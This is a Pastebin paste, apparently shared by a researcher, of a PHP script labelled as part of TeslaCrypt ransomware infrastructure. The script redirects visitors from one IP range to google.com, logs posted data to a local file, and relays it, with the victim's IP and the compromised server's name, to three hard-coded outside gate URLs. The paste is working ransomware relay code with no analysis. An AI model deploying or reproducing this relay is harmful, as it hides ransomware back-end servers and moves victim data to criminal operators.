SHARE
TWEET

TeslaCrypt - mzsys.php

benkow_ Feb 26th, 2016 (edited) 1,603 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     <?php
  2.     $network = ip2long("23.96.0.0");
  3.     $mask = ip2long("255.248.0.0");
  4.     $remote = ip2long($_SERVER['REMOTE_ADDR']);
  5.  
  6.     if (($remote & $mask) == $network)
  7.         {
  8.         header("Location: http://google.com");
  9.         exit;
  10.         }
  11.  
  12.     set_time_limit(300);
  13.  
  14.     if (!isset($_POST['data']))
  15.         {
  16.         die("empty post");
  17.         }
  18.  
  19.     $post = array(
  20.         'data' => $_POST['data'],
  21.         'IP' => $_SERVER['REMOTE_ADDR'],
  22.         'SHELL' => $_SERVER['SERVER_NAME'],
  23.     );
  24.     $gate = array(
  25.         "http://perc54hg47fhnkjnfvcdgvdc.clinkjuno.com/ing.php",
  26.         "http://yy46bdff329hfbcjhbme2f.evertmazic.com/ing.php",
  27.         "http://dd7bsndhr45nfksdnkferfer.javakale.at/ing.php",
  28.     );
  29.     $fp = fopen("most.txt", "a+");
  30.     fwrite($fp, 'data=' . $_POST['data'] . ' IP=' . $_SERVER['REMOTE_ADDR'] . ' SHELL=' . $_SERVER['SERVER_NAME'] . "\n");
  31.     fclose($fp);
  32.  
  33.     foreach($gate as $value)
  34.         {
  35.         $process = curl_init();
  36.         curl_setopt($process, CURLOPT_URL, $value);
  37.         curl_setopt($process, CURLOPT_POST, 1);
  38.         curl_setopt($process, CURLOPT_POSTFIELDS, $post);
  39.         curl_setopt($process, CURLOPT_RETURNTRANSFER, true);
  40.         if (!$result = curl_exec($process))
  41.             {
  42.             continue;
  43.             }
  44.  
  45.         if (stristr($result, "work:"))
  46.             {
  47.             echo $result;
  48.             curl_close($process);
  49.             die();
  50.             }
  51.  
  52.         if (stristr($result, "INSERTED"))
  53.             {
  54.             echo $result;
  55.             curl_close($process);
  56.             die();
  57.             }
  58.  
  59.         curl_close($process);
  60.         } ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top